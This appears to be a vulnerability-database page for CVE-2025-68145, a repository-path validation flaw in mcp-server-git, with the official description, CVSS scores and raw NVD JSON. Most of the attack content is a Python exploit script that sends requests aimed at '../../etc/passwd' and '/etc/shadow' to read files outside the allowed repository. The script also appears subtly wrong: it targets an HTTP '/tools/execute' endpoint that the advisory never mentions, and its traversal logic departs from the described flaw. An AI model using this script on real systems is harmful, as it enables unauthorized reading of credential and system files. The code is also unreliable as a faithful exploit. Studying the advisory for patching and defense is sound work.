Security Vulnerability Report
中文
CVE-2025-68145 CVSS 9.1 CRITICAL

CVE-2025-68145

Published: 2025-12-17 23:16:05
Last Modified: 2026-04-14 15:13:35

Description

In mcp-server-git versions prior to 2025.12.17, when the server is started with the --repository flag to restrict operations to a specific repository path, it did not validate that repo_path arguments in subsequent tool calls were actually within that configured path. This could allow tool calls to operate on other repositories accessible to the server process. The fix adds path validation that resolves both the configured repository and the requested path (following symlinks) and verifies the requested path is within the allowed repository before executing any git operations. Users are advised to upgrade to 2025.12.17 upon release to remediate this issue.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:lfprojects:model_context_protocol_servers:*:*:*:*:*:*:*:* - VULNERABLE
mcp-server-git < 2025.12.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68145 PoC - Path Traversal in mcp-server-git # Target: mcp-server-git < 2025.12.17 # Vulnerability: Path traversal via repo_path parameter when --repository flag is set import json import requests import sys def exploit_cve_2025_68145(target_url, allowed_repo_path, target_repo_path): """ Exploit path traversal vulnerability in mcp-server-git Args: target_url: Base URL of the vulnerable mcp-server-git instance allowed_repo_path: Path configured with --repository flag target_repo_path: Path to a repository outside allowed_repo_path """ # Construct malicious request payload = { "tool": "git_read_file", "params": { "repo_path": target_repo_path, # Path outside allowed scope "file_path": "../../etc/passwd" # Path traversal attempt } } # Send exploit request try: response = requests.post( f"{target_url}/tools/execute", json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) print(f"[*] Request sent to {target_url}") print(f"[*] Target repo path: {target_repo_path}") print(f"[*] Allowed repo path: {allowed_repo_path}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: data = response.json() if "result" in data: print("[+] Exploit successful! Read arbitrary file:") print(data["result"]) return True print("[-] Exploit may have failed or target is patched") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-68145""" # Attempt to access restricted repository malicious_payload = { "tool": "git_log", "params": { "repo_path": "/etc/shadow" # Non-git directory to test path validation } } try: response = requests.post( f"{target_url}/tools/execute", json=malicious_payload, timeout=10 ) # If no error about path validation, target may be vulnerable if response.status_code == 200: return True return False except: return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-68145.py <target_url> <allowed_repo> <target_repo>") print("Example: python cve-2025-68145.py http://localhost:8080 /data/allowed-repo /data/sensitive-repo") sys.exit(1) target_url = sys.argv[1] allowed_repo = sys.argv[2] target_repo = sys.argv[3] print("="*60) print("CVE-2025-68145 - mcp-server-git Path Traversal Exploit") print("="*60) exploit_cve_2025_68145(target_url, allowed_repo, target_repo)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68145", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:04.857", "lastModified": "2026-04-14T15:13:35.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In mcp-server-git versions prior to 2025.12.17, when the server is started with the --repository flag to restrict operations to a specific repository path, it did not validate that repo_path arguments in subsequent tool calls were actually within that configured path. This could allow tool calls to operate on other repositories accessible to the server process. The fix adds path validation that resolves both the configured repository and the requested path (following symlinks) and verifies the requested path is within the allowed repository before executing any git operations. Users are advised to upgrade to 2025.12.17 upon release to remediate this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:model_context_protocol_servers:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.12.18", "matchCriteriaId": "886A96BE-326B-4E6D-A4A6-12F18772BD14"}]}]}], "references": [{"url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-j22h-9j4x-23w5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}